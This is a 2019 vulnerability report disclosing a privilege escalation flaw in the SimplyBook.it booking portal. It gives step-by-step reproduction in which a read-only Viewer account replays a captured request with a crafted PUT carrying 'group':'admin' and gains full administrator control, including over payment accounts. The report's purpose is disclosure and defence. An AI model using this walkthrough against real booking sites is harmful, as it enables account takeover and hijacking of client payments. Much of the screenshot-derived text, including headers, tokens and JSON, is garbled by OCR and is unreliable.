Saturday, 13 April 2019

Vulnerability Report

Site Management Portal
Privilege Escalation

Affected Software:

SimplyBook.me / SimplyBook.it
Online Booking and Scheduling
System for Service Based
Industries

Affected Users:

All Management Portal Accounts
Are Affected

URL used for testing:

https://cybrgradeuk.secure.simplybook.it/

Details of tester:

Stu Patterson
CybrGrade UK
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https://cybrgradeuk.secure.simplybook.it/
https://uk.linkedin.com/in/stuwertpatterson
https://cybrgrade.com/

SITE MANAGEMENT PORTAL PRIVILIEGE ESCALATION

The Vulnerability

A SimplyBook.it management portal user with a low privileged account (such as Viewer
Group read-only access) is able to send crafted JSON data in a PUT request via the
REST API and reconfigure their account settings to grant themselves top level
Administrative rights over the whole application, it’s users and the data belonging to
all the clients of the booking system. In addition they would be able to reconfigure 3™
party payment account settings (e.g PayPal, Stripe, etc...)and hijack client payments
intended for the owner of the service.

Context

The SimplyBook.it site management portal software allows site owners to create very limited
user accounts for the purpose of granting read-only access to users or entities that require basic
data access.

This can allow untrusted partner agents or low level employees to have read-only access to
booking/appointment calendars and service status messages. They should never be able to
alter any configuration data or affect any other areas of the site, services, users, clients,
financial service credentials.

& Viewer

In some cases you may want to allow someone to see company bookings without being able to make any
changes. This user should be set as Viewer. Viewers can not change anything, and they can not add any
bookings.

The following functions are available for Viewers:

Calendar (view only), Services (view only)

Observations

User session tokens must also be validated when configuration changes are being made by an
authenticated user. It is not enough to just rely on them having a valid X-CSRF Token. An authenticated
low-priv read-only account could represent an untrusted basic employee with bad intentions or an
account that has been more easily compromised by a criminal attacker due to a user’s belief that it cannot
do any harm so there is no need to protect the credentials well.
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EXPLOIT EXAMPLE

Granting Admin Rights With A Read-Only Viewer Account

| was able to consistently reproduce and confirm the vulnerability using the following steps.

1. First | created a restricted Viewer account with read-only access
Users just_a_viewer
Search for.. ‘:‘ ‘E| ‘E‘ 2 User details -
S@ =" Email
= - N viewer@cybrgrade.com
® Senior employee Login
- just_a_viewer =
@ ILl;;[: J\:Isf,wajurews'rg ‘ Group
Viewer v

Show roles description

Change password

Connected service provider

Select service provider v

Phone

01234567890

First name

Justa a

Last name

Viewer

Connect to

f Facebook G Google

Send login information to user

Cancel EEEVCRAuLEE

G Google Authenticator
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2. Log in as the just_a_viewer account. Then access the ‘Welcome’ page.
_ [55)
= SimplyBook.me 4 8 @8 B &usta - @

™ pcking sytans
. dashboard
booking system ozl

f Lete get ctarted &» My account

Admin interface
https://cybrgradeuk.secure.si...

Booking website

o

(&7 ) https://cybrgradeuk.simplyboo...
o Company login
cybrgradeuk

1. Customize Design 2. Services & Providers 3. Working Schedules
User login Email

Watch how Watch how Watch how just_a_viewer viewer@cyb...

3. Proxy the web traffic using a proxy tool such as Burpsuite and then click on the ‘Services &
Providers’ pane.

r (et get ctarted

1. Customize Design 2. Services & Providers 3. Working Schedules

Watch how [> Watch how [> Watch how [>
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4, Notice the ‘Access Denied’ message.

= SimplyBook.me 1= g’t & Justa [oll Wy booking website

Oops! Some error occurred.

Access denied. You da not have access to this page. For more information plesse contact administrator

5. Select the last request to ‘/v2/rest/plugin’ in Burpsuite and ensure it contains a valid X-CSRF

Token and send it to the Repeater tool in Burp.

v Params | Edited | Status | Length | MIME t... ”

1036  https://cybrgradeuk.secure simplybook.it GET Iv2irest/plugin

TOaE TDS ey OO BaEUR eC e SE BoarT GET TZnestac

1034  https://cybrgradeuk.secure simplybook.it GET fv2imanagement/

200 15787  JSON
200 7 JSON
200 564907 HTML

Request | Response

Raw | Params | Headers | Hex

GET /vZ/rest/plugin HTTP/L.1

Host: cybrgradeuk.secure.simplybook. it

User—Agent: Mozilla/5.0 (Windows NT L10.0; Win&4; x€4; rv:e&.0) Gecko/Z010010L1 Firefor/6€.0
Aecept: application/json, text/javascript, */*; g=0.01

Accept-Lancuage: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Qo it

—Csrf-Token: Z0c35eBf4eelflé0lBel538£682dal7s
~Requested-With: XMLHttpReguest
DITT: 1

Connection: close

Cookie: affiliate_notice_shown=1;

last_wow_message_shown=8; sess_user_cybrgradeuk=hkvimo4aSupS8pnpl44ouopucpl

# v|Host | Method | URL

Params

1036 https:/icybrgradeuk secure.simplybook.it GET 2/rest/plugin I
S

1035 https:/fcybrgradeuk secure_simplybook.it GET M2irest/acl

1034 https:/icybrgradeuk secure.simplybook.it GET N2/management/

j Request T Response 1
_[RBWI Params I Headers T Hex }

https:/icybrgradeuk.sd
Remaove from scope
Spider from here
Do an active scan

Do a passive scan
L=

pd to lotrd s

GET /wI/rest/plugin HTTP/L1.1
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6. Next, select to ‘Change password’ from the welcome screen and then cancel it. Then return
to burp to get your 'user_id’ for the next step. (NOTE: this step could also just be guessed or
discovered using trial and error).

Reset password

Password

Verify password

~# v Host | Method | URL | Paran

EL ttps://cybrgradeuk.secur... GET  A2/user/reset-password
Cancel FHEMK
Request | Response |
Raw | Headers | Hex HTMLIREM

name="user__ id" value="5" {ype="hiddsn" />

<input id="user__ id"

7. Then alter the request to contain a ‘PUT /v2/rest/user/item/id/5’ with JISON data structured
in the following way making sure to set "group":"admin" :
{"id":"5","firstname":"Justa","lastname":"Viewer","phone":"01234567890", "em
ail":"viewer@cybrgrade.com","login":"just_a_viewer","group":"admin","unit_g
roup_id":null,"last_access_time":"2019-04-13
02:05:35","is_blocked":"0","change_password":false,"title":"Justa
Viewer","name":"Justa Viewer"}

Go Cancel <|» > |

Request

Raw | Params | Headers | Hex

GET /viZ/rest/plugin HTTR/1.1

Host: cybrgradeuk.secure.simplybook. it

Ussr-Agsnt: Mozilla/5.0 (Windows NT L0.0; Winé4; x€4; rv:€€.0) Gecko/Z0100L0L Firefox/E6.0
Accept: application/json, text/javascript, */*%; g=0.01

Accept-Language: en-US,en;q=0.5

Lccept-Encoding: gzip, deflate
Referer: hutps://cybrgradsuk.sscure.simplybook. it/

K-Csrf-Token: 20c39=864==2f16018=2538£682dal79

K-Requested-With: XMLHttpRequest

DNT: L

Connsction: closs

Cookie: affiliate_notice_shown=1; last_wow_message_shown=8; sess_user_cybrgradeuk=hkvimo4aSup8pnpl4doucpuepl

Go Cancel < | >\

Request

Raw | Params | Headers | Hex

FUT /vi/rest/user/item/id/5 HTTF/1.1

St CyDLOradeur. Sechre. SImplyBook. 1
—USEE’AQEDE: Mozilla/5.0 (Windows NT 10.0; Wing4:; x€4; rv:€6.0) Gecko/20L0010L Firefox/€6.0

Accept: application/json, text/javascript, */*; g=0.01

Accept-Language: en-US,en;q=0.5

Acceprt-Encoding: gzip, deflate

Referer: https://cybrgradsuk.sscurs.sinplybock.it/

X-Csrf-Token: 20c39e864==2£16018=2538£682dal7d

X-Pecuested-With: XMLHttpRequest

DNT: L

Connsction: closs

Cookie: affiliate_notice_shown=1; last_wow_message_shown=8; sess_user_cybrgradeuk=hkv3modasup8pnplddouopucpl

Content-Length: 251

{71d":"5", "firstname": "Justa”, " lastname":"Viewser"”, "phone":"01234567890", "email”: "viewerfcybrgrade . com”, "login®: "jus
019-04-12

t_a view
Z21:15:34","is_blocked":"0", "changs_password”:falss, "title":"Justa Viever", "name":"Justa Viewsr"}

"group: "admin®, "unit_group_id":null,"last_access_time":
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8. If all was successful, you should see the same JSON data returned in a HTTP 200 OK
response.

Response

Raw | Headers | Hex

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 12 Apr Z019 ZZ:Z1:16é GMT

Content-Type: application/json

Content-Length: Z4&

Connection: close

Expires: Thu, 15 Nowv 1531 03:52:00 GMT

Cache-Control: no-store, no-caches, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

¥-Frame-Options: SAMEORIGIIN

Strict-Transport-Security: max-age=31536000; includeSublomains
¥-K33-Protection: 1; mode=block

T

Feferrer-Policy: origin

{mid": 5", "firstname": "Justa", "lastname":"Viewer ", "phone": "01234567290", Temail: "v
iewerfcybrgrade.com”, "login”: "just_a viewer","last_access_time":"2015-04-12
21:15:34","is_blocked":"0", "group": "admin"l, "unit_group id":null, "changs_password":

false}

9. And finally, we are able to refresh the browser and see that we now have full administrative
prilileges in the management portal and can now do anything we want.

'

_ @@ ;
= SimplyBook.me o0 =2 5 @B & Justa ORI My booking website

D) Dashboard
It's easy to set up your Create booking from
. dashboard
booking system

f (et’e get ctarted & My account
# Manage
Admin interface
Courses
https:/ rgradeu
Service Provic
Booking website

Clients
http rgradeuk simplyboo...

Company login
Intake forms
ik form cybrgradeuk

Service Add-ons i 2. Services & Providers 3. Working : 1
User login Email

Watch how Watch how just_a_viewer viewer@cyb...

e email

fa Google B Google Play
oL Authenticator
Ab

T | Connect/Ch.

of% App Store

Pending bookings Website Integrations 5. Custom Features o
: : y plan
Watch how X
Calend: c Watch how

Plan Bookings left
Free o

Plans & Prices k & Gift cards - New!

SMS credits
i = @ | Gift cards feature allows you to both left
‘ Cards and to create promotion

0
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